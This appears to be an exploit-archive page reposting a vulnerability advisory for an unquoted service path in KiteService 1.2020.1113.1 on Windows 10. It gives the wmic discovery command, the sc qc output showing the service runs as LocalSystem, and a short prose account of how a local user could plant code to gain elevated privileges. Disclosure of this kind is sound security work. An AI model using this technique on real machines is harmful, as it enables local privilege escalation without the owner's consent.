Kiteservice 1.2020.1113.1 kiteservice.exe unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-11-16 | Type : local | Platform : windows
This exploit / vulnerability Kiteservice 1.2020.1113.1 kiteservice.exe unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: KiteService 1.2020.1113.1 - 'KiteService.exe' Unquoted Service Path
# Discovery by: IRVIN GIL
# Discovery Date: 2020-11-14
# Vendor Homepage: https://www.kite.com/
# Tested Version: 1.2020.1113.1
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

KiteService KiteService C:\Program Files\Kite\KiteService.exe Auto

# Service info:

C:\>sc qc "KiteService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: KiteService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Kite\KiteService.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : KiteService
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.